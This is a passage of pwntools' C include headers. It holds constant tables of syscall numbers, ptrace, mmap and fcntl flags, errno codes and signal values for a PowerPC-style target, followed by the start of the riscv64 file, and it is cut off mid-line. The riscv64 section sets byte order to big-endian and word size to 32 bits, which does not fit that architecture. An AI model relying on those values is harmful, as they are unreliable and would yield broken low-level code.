SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FILE 0 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 330 #define SYS_accept4 344 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 269 #define SYS_adjtimex 124 #define SYS_afs_syscall 137 #define SYS_alarm 27 #define SYS_bdflush 134 #define SYS_bind 327 #define SYS_bpf 361 #define SYS_break 17 #define SYS_brk 45 #define SYS_capget 183 #define SYS_capset 184 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 181 #define SYS_chroot 61 #define SYS_clock_adjtime 347 #define SYS_clock_getres 247 #define SYS_clock_gettime 246 #define SYS_clock_nanosleep 248 #define SYS_clock_settime 245 #define SYS_clone 120 #define SYS_clone3 435 #define SYS_close 6 #define SYS_connect 328 #define SYS_copy_file_range 379 #define SYS_creat 8 #define SYS_create_module 127 #define SYS_delete_module 129 #define SYS_dup 41 #define SYS_dup2 63 #define SYS_dup3 316 #define SYS_epoll_create 236 #define SYS_epoll_create1 315 #define SYS_epoll_ctl 237 #define SYS_epoll_pwait 303 #define SYS_epoll_wait 238 #define SYS_eventfd 307 #define SYS_eventfd2 314 #define SYS_execve 11 #define SYS_execveat 362 #define SYS_exit 1 #define SYS_exit_group 234 #define SYS_faccessat 298 #define SYS_fadvise64 233 #define SYS_fallocate 309 #define SYS_fanotify_init 323 #define SYS_fanotify_mark 324 #define SYS_fchdir 133 #define SYS_fchmod 94 #define SYS_fchmodat 297 #define SYS_fchown 95 #define SYS_fchownat 289 #define SYS_fcntl 55 #define SYS_fdatasync 148 #define SYS_fgetxattr 214 #define SYS_finit_module 353 #define SYS_flistxattr 217 #define SYS_flock 143 #define SYS_fork 2 #define SYS_fremovexattr 220 #define SYS_fsconfig 431 #define SYS_fsetxattr 211 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 108 #define SYS_fstatfs 100 #define SYS_fstatfs64 253 #define SYS_fsync 118 #define SYS_ftime 35 #define SYS_ftruncate 93 #define SYS_futex 221 #define SYS_futimesat 290 #define SYS_getcpu 302 #define SYS_getcwd 182 #define SYS_getdents 141 #define SYS_getdents64 202 #define SYS_getegid 50 #define SYS_geteuid 49 #define SYS_getgid 47 #define SYS_getgroups 80 #define SYS_getitimer 105 #define SYS_get_kernel_syms 130 #define SYS_get_mempolicy 260 #define SYS_getpeername 332 #define SYS_getpgid 132 #define SYS_getpgrp 65 #define SYS_getpid 20 #define SYS_getpmsg 187 #define SYS_getppid 64 #define SYS_getpriority 96 #define SYS_getrandom 359 #define SYS_getresgid 170 #define SYS_getresuid 165 #define SYS_getrlimit 76 #define SYS_get_robust_list 299 #define SYS_getrusage 77 #define SYS_getsid 147 #define SYS_getsockname 331 #define SYS_getsockopt 340 #define SYS_gettid 207 #define SYS_gettimeofday 78 #define SYS_getuid 24 #define SYS_getxattr 212 #define SYS_gtty 32 #define SYS_idle 112 #define SYS_init_module 128 #define SYS_inotify_add_watch 276 #define SYS_inotify_init 275 #define SYS_inotify_init1 318 #define SYS_inotify_rm_watch 277 #define SYS_io_cancel 231 #define SYS_ioctl 54 #define SYS_io_destroy 228 #define SYS_io_getevents 229 #define SYS_ioperm 101 #define SYS_io_pgetevents 388 #define SYS_iopl 110 #define SYS_ioprio_get 274 #define SYS_ioprio_set 273 #define SYS_io_setup 227 #define SYS_io_submit 230 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 117 #define SYS_kcmp 354 #define SYS_kexec_file_load 382 #define SYS_kexec_load 268 #define SYS_keyctl 271 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lgetxattr 213 #define SYS_link 9 #define SYS_linkat 294 #define SYS_listen 329 #define SYS_listxattr 215 #define SYS_llistxattr 216 #define SYS__llseek 140 #define SYS_lock 53 #define SYS_lookup_dcookie 235 #define SYS_lremovexattr 219 #define SYS_lseek 19 #define SYS_lsetxattr 210 #define SYS_lstat 107 #define SYS_madvise 205 #define SYS_mbind 259 #define SYS_membarrier 365 #define SYS_memfd_create 360 #define SYS_mincore 206 #define SYS_mkdir 39 #define SYS_mkdirat 287 #define SYS_mknod 14 #define SYS_mknodat 288 #define SYS_mlock 150 #define SYS_mlock2 378 #define SYS_mlockall 152 #define SYS_mmap 90 #define SYS_modify_ldt 123 #define SYS_mount 21 #define SYS_move_mount 429 #define SYS_move_pages 301 #define SYS_mprotect 125 #define SYS_mpx 56 #define SYS_mq_getsetattr 267 #define SYS_mq_notify 266 #define SYS_mq_open 262 #define SYS_mq_timedreceive 265 #define SYS_mq_timedsend 264 #define SYS_mq_unlink 263 #define SYS_mremap 163 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 144 #define SYS_multiplexer 201 #define SYS_munlock 151 #define SYS_munlockall 153 #define SYS_munmap 91 #define SYS_name_to_handle_at 345 #define SYS_nanosleep 162 #define SYS_newfstatat 291 #define SYS__newselect 142 #define SYS_nfsservctl 168 #define SYS_nice 34 #define SYS_oldfstat 28 #define SYS_oldlstat 84 #define SYS_oldolduname 59 #define SYS_oldstat 18 #define SYS_olduname 109 #define SYS_open 5 #define SYS_openat 286 #define SYS_openat2 437 #define SYS_open_by_handle_at 346 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_pciconfig_iobase 200 #define SYS_pciconfig_read 198 #define SYS_pciconfig_write 199 #define SYS_perf_event_open 319 #define SYS_personality 136 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 317 #define SYS_pivot_root 203 #define SYS_pkey_alloc 384 #define SYS_pkey_free 385 #define SYS_pkey_mprotect 386 #define SYS_poll 167 #define SYS_ppoll 281 #define SYS_prctl 171 #define SYS_pread 179 #define SYS_preadv 320 #define SYS_preadv2 380 #define SYS_prlimit64 325 #define SYS_process_vm_readv 351 #define SYS_process_vm_writev 352 #define SYS_prof 44 #define SYS_profil 98 #define SYS_pselect6 280 #define SYS_ptrace 26 #define SYS_putpmsg 188 #define SYS_pwrite 180 #define SYS_pwritev 321 #define SYS_pwritev2 381 #define SYS_query_module 166 #define SYS_quotactl 131 #define SYS_read 3 #define SYS_readahead 191 #define SYS_readdir 89 #define SYS_readlink 85 #define SYS_readlinkat 296 #define SYS_readv 145 #define SYS_reboot 88 #define SYS_recv 336 #define SYS_recvfrom 337 #define SYS_recvmmsg 343 #define SYS_recvmsg 342 #define SYS_remap_file_pages 239 #define SYS_removexattr 218 #define SYS_rename 38 #define SYS_renameat 293 #define SYS_renameat2 357 #define SYS_request_key 270 #define SYS_rmdir 40 #define SYS_rseq 387 #define SYS_rtas 255 #define SYS_rt_sigaction 173 #define SYS_rt_sigpending 175 #define SYS_rt_sigprocmask 174 #define SYS_rt_sigqueueinfo 177 #define SYS_rt_sigreturn 172 #define SYS_rt_sigsuspend 178 #define SYS_rt_sigtimedwait 176 #define SYS_rt_tgsigqueueinfo 322 #define SYS_sched_getaffinity 223 #define SYS_sched_getattr 356 #define SYS_sched_getparam 155 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_getscheduler 157 #define SYS_sched_rr_get_interval 161 #define SYS_sched_setaffinity 222 #define SYS_sched_setattr 355 #define SYS_sched_setparam 154 #define SYS_sched_setscheduler 156 #define SYS_sched_yield 158 #define SYS_seccomp 358 #define SYS_select 82 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop 392 #define SYS_send 334 #define SYS_sendfile 186 #define SYS_sendmmsg 349 #define SYS_sendmsg 341 #define SYS_sendto 335 #define SYS_setdomainname 121 #define SYS_setfsgid 139 #define SYS_setfsuid 138 #define SYS_setgid 46 #define SYS_setgroups 81 #define SYS_sethostname 74 #define SYS_setitimer 104 #define SYS_set_mempolicy 261 #define SYS_setns 350 #define SYS_setpgid 57 #define SYS_setpriority 97 #define SYS_setregid 71 #define SYS_setresgid 169 #define SYS_setresuid 164 #define SYS_setreuid 70 #define SYS_setrlimit 75 #define SYS_set_robust_list 300 #define SYS_setsid 66 #define SYS_setsockopt 339 #define SYS_set_tid_address 232 #define SYS_settimeofday 79 #define SYS_setuid 23 #define SYS_setxattr 209 #define SYS_sgetmask 68 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 338 #define SYS_sigaction 67 #define SYS_sigaltstack 185 #define SYS_signal 48 #define SYS_signalfd 305 #define SYS_signalfd4 313 #define SYS_sigpending 73 #define SYS_sigprocmask 126 #define SYS_sigreturn 119 #define SYS_sigsuspend 72 #define SYS_socket 326 #define SYS_socketcall 102 #define SYS_socketpair 333 #define SYS_splice 283 #define SYS_spu_create 279 #define SYS_spu_run 278 #define SYS_ssetmask 69 #define SYS_stat 106 #define SYS_statfs 99 #define SYS_statfs64 252 #define SYS_statx 383 #define SYS_stime 25 #define SYS_stty 31 #define SYS_subpage_prot 310 #define SYS_swapcontext 249 #define SYS_swapoff 115 #define SYS_swapon 87 #define SYS_switch_endian 363 #define SYS_symlink 83 #define SYS_symlinkat 295 #define SYS_sync 36 #define SYS_sync_file_range2 308 #define SYS_syncfs 348 #define SYS__sysctl 149 #define SYS_sysfs 135 #define SYS_sysinfo 116 #define SYS_syslog 103 #define SYS_tee 284 #define SYS_tgkill 250 #define SYS_time 13 #define SYS_timer_create 240 #define SYS_timer_delete 244 #define SYS_timerfd 306 #define SYS_timerfd_gettime 312 #define SYS_timerfd_settime 311 #define SYS_timer_getoverrun 243 #define SYS_timer_gettime 242 #define SYS_timer_settime 241 #define SYS_times 43 #define SYS_tkill 208 #define SYS_truncate 92 #define SYS_tuxcall 225 #define SYS_ugetrlimit 190 #define SYS_ulimit 58 #define SYS_umask 60 #define SYS_umount 22 #define SYS_umount2 52 #define SYS_uname 122 #define SYS_unlink 10 #define SYS_unlinkat 292 #define SYS_unshare 282 #define SYS_uselib 86 #define SYS_userfaultfd 364 #define SYS_ustat 62 #define SYS_utime 30 #define SYS_utimensat 304 #define SYS_utimes 251 #define SYS_vfork 189 #define SYS_vhangup 111 #define SYS_vm86 113 #define SYS_vmsplice 285 #define SYS_wait4 114 #define SYS_waitid 272 #define SYS_waitpid 7 #define SYS_write 4 #define SYS_writev 146 #define r0 0 #define r1 1 #define r2 2 #define r3 3 #define r4 4 #define r5 5 #define r6 6 #define r7 7 #define r8 8 #define r9 9 #define r10 10 #define r11 11 #define r12 12 #define r13 13 #define r14 14 #define r15 15 #define r16 16 #define r17 17 #define r18 18 #define r19 19 #define r20 20 #define r21 21 #define r22 22 #define r23 23 #define r24 24 #define r25 25 #define r26 26 #define r27 27 #define r28 28 #define r29 29 #define r30 30 #define r31 31 Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/linux/riscv64.h000066400000000000000000000776341507273764500250450ustar00rootroot00000000000000#define __NR_io_setup 0 #define __NR_io_destroy 1 #define __NR_io_submit 2 #define __NR_io_cancel 3 #define __NR_io_getevents 4 #define __NR_setxattr 5 #define __NR_lsetxattr 6 #define __NR_fsetxattr 7 #define __NR_getxattr 8 #define __NR_lgetxattr 9 #define __NR_fgetxattr 10 #define __NR_listxattr 11 #define __NR_llistxattr 12 #define __NR_flistxattr 13 #define __NR_removexattr 14 #define __NR_lremovexattr 15 #define __NR_fremovexattr 16 #define __NR_getcwd 17 #define __NR_lookup_dcookie 18 #define __NR_eventfd2 19 #define __NR_epoll_create1 20 #define __NR_epoll_ctl 21 #define __NR_epoll_pwait 22 #define __NR_dup 23 #define __NR_dup3 24 #define __NR_fcntl 25 #define __NR_inotify_init1 26 #define __NR_inotify_add_watch 27 #define __NR_inotify_rm_watch 28 #define __NR_ioctl 29 #define __NR_ioprio_set 30 #define __NR_ioprio_get 31 #define __NR_flock 32 #define __NR_mknodat 33 #define __NR_mkdirat 34 #define __NR_unlinkat 35 #define __NR_symlinkat 36 #define __NR_linkat 37 #define __NR_umount2 39 #define __NR_mount 40 #define __NR_pivot_root 41 #define __NR_nfsservctl 42 #define __NR_statfs 43 #define __NR_fstatfs 44 #define __NR_truncate 45 #define __NR_ftruncate 46 #define __NR_fallocate 47 #define __NR_faccessat 48 #define __NR_chdir 49 #define __NR_fchdir 50 #define __NR_chroot 51 #define __NR_fchmod 52 #define __NR_fchmodat 53 #define __NR_fchownat 54 #define __NR_fchown 55 #define __NR_openat 56 #define __NR_close 57 #define __NR_vhangup 58 #define __NR_pipe2 59 #define __NR_quotactl 60 #define __NR_getdents64 61 #define __NR_lseek 62 #define __NR_read 63 #define __NR_write 64 #define __NR_readv 65 #define __NR_writev 66 #define __NR_pread64 67 #define __NR_pwrite64 68 #define __NR_preadv 69 #define __NR_pwritev 70 #define __NR_sendfile 71 #define __NR_pselect6 72 #define __NR_ppoll 73 #define __NR_signalfd4 74 #define __NR_vmsplice 75 #define __NR_splice 76 #define __NR_tee 77 #define __NR_readlinkat 78 #define __NR_newfstatat 79 #define __NR_fstat 80 #define __NR_sync 81 #define __NR_fsync 82 #define __NR_fdatasync 83 #define __NR_sync_file_range 84 #define __NR_timerfd_create 85 #define __NR_timerfd_settime 86 #define __NR_timerfd_gettime 87 #define __NR_utimensat 88 #define __NR_acct 89 #define __NR_capget 90 #define __NR_capset 91 #define __NR_personality 92 #define __NR_exit 93 #define __NR_exit_group 94 #define __NR_waitid 95 #define __NR_set_tid_address 96 #define __NR_unshare 97 #define __NR_futex 98 #define __NR_set_robust_list 99 #define __NR_get_robust_list 100 #define __NR_nanosleep 101 #define __NR_getitimer 102 #define __NR_setitimer 103 #define __NR_kexec_load 104 #define __NR_init_module 105 #define __NR_delete_module 106 #define __NR_timer_create 107 #define __NR_timer_gettime 108 #define __NR_timer_getoverrun 109 #define __NR_timer_settime 110 #define __NR_timer_delete 111 #define __NR_clock_settime 112 #define __NR_clock_gettime 113 #define __NR_clock_getres 114 #define __NR_clock_nanosleep 115 #define __NR_syslog 116 #define __NR_ptrace 117 #define __NR_sched_setparam 118 #define __NR_sched_setscheduler 119 #define __NR_sched_getscheduler 120 #define __NR_sched_getparam 121 #define __NR_sched_setaffinity 122 #define __NR_sched_getaffinity 123 #define __NR_sched_yield 124 #define __NR_sched_get_priority_max 125 #define __NR_sched_get_priority_min 126 #define __NR_sched_rr_get_interval 127 #define __NR_restart_syscall 128 #define __NR_kill 129 #define __NR_tkill 130 #define __NR_tgkill 131 #define __NR_sigaltstack 132 #define __NR_rt_sigsuspend 133 #define __NR_rt_sigaction 134 #define __NR_rt_sigprocmask 135 #define __NR_rt_sigpending 136 #define __NR_rt_sigtimedwait 137 #define __NR_rt_sigqueueinfo 138 #define __NR_rt_sigreturn 139 #define __NR_setpriority 140 #define __NR_getpriority 141 #define __NR_reboot 142 #define __NR_setregid 143 #define __NR_setgid 144 #define __NR_setreuid 145 #define __NR_setuid 146 #define __NR_setresuid 147 #define __NR_getresuid 148 #define __NR_setresgid 149 #define __NR_getresgid 150 #define __NR_setfsuid 151 #define __NR_setfsgid 152 #define __NR_times 153 #define __NR_setpgid 154 #define __NR_getpgid 155 #define __NR_getsid 156 #define __NR_setsid 157 #define __NR_getgroups 158 #define __NR_setgroups 159 #define __NR_uname 160 #define __NR_sethostname 161 #define __NR_setdomainname 162 #define __NR_getrlimit 163 #define __NR_setrlimit 164 #define __NR_getrusage 165 #define __NR_umask 166 #define __NR_prctl 167 #define __NR_getcpu 168 #define __NR_gettimeofday 169 #define __NR_settimeofday 170 #define __NR_adjtimex 171 #define __NR_getpid 172 #define __NR_getppid 173 #define __NR_getuid 174 #define __NR_geteuid 175 #define __NR_getgid 176 #define __NR_getegid 177 #define __NR_gettid 178 #define __NR_sysinfo 179 #define __NR_mq_open 180 #define __NR_mq_unlink 181 #define __NR_mq_timedsend 182 #define __NR_mq_timedreceive 183 #define __NR_mq_notify 184 #define __NR_mq_getsetattr 185 #define __NR_msgget 186 #define __NR_msgctl 187 #define __NR_msgrcv 188 #define __NR_msgsnd 189 #define __NR_semget 190 #define __NR_semctl 191 #define __NR_semtimedop 192 #define __NR_semop 193 #define __NR_shmget 194 #define __NR_shmctl 195 #define __NR_shmat 196 #define __NR_shmdt 197 #define __NR_socket 198 #define __NR_socketpair 199 #define __NR_bind 200 #define __NR_listen 201 #define __NR_accept 202 #define __NR_connect 203 #define __NR_getsockname 204 #define __NR_getpeername 205 #define __NR_sendto 206 #define __NR_recvfrom 207 #define __NR_setsockopt 208 #define __NR_getsockopt 209 #define __NR_shutdown 210 #define __NR_sendmsg 211 #define __NR_recvmsg 212 #define __NR_readahead 213 #define __NR_brk 214 #define __NR_munmap 215 #define __NR_mremap 216 #define __NR_add_key 217 #define __NR_request_key 218 #define __NR_keyctl 219 #define __NR_clone 220 #define __NR_execve 221 #define __NR_mmap 222 #define __NR_fadvise64 223 #define __NR_swapon 224 #define __NR_swapoff 225 #define __NR_mprotect 226 #define __NR_msync 227 #define __NR_mlock 228 #define __NR_munlock 229 #define __NR_mlockall 230 #define __NR_munlockall 231 #define __NR_mincore 232 #define __NR_madvise 233 #define __NR_remap_file_pages 234 #define __NR_mbind 235 #define __NR_get_mempolicy 236 #define __NR_set_mempolicy 237 #define __NR_migrate_pages 238 #define __NR_move_pages 239 #define __NR_rt_tgsigqueueinfo 240 #define __NR_perf_event_open 241 #define __NR_accept4 242 #define __NR_recvmmsg 243 #define __NR_arch_specific_syscall 244 #define __NR_wait4 260 #define __NR_prlimit64 261 #define __NR_fanotify_init 262 #define __NR_fanotify_mark 263 #define __NR_name_to_handle_at 264 #define __NR_open_by_handle_at 265 #define __NR_clock_adjtime 266 #define __NR_syncfs 267 #define __NR_setns 268 #define __NR_sendmmsg 269 #define __NR_process_vm_readv 270 #define __NR_process_vm_writev 271 #define __NR_kcmp 272 #define __NR_finit_module 273 #define __NR_sched_setattr 274 #define __NR_sched_getattr 275 #define __NR_renameat2 276 #define __NR_seccomp 277 #define __NR_getrandom 278 #define __NR_memfd_create 279 #define __NR_bpf 280 #define __NR_execveat 281 #define __NR_userfaultfd 282 #define __NR_membarrier 283 #define __NR_mlock2 284 #define __NR_copy_file_range 285 #define __NR_preadv2 286 #define __NR_pwritev2 287 #define __NR_pkey_mprotect 288 #define __NR_pkey_alloc 289 #define __NR_pkey_free 290 #define __NR_statx 291 #define __NR_io_pgetevents 292 #define __NR_rseq 293 #define __NR_kexec_file_load 294 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_close_range 436 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define __NR_faccessat2 439 #define __NR_process_madvise 440 #define __NR_epoll_pwait2 441 #define __NR_mount_setattr 442 #define __NR_landlock_create_ruleset 444 #define __NR_landlock_add_rule 445 #define __NR_landlock_restrict_self 446 #define __NR_sysriscv 244 #define __NR_riscv_flush_icache (244 + 15) #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define 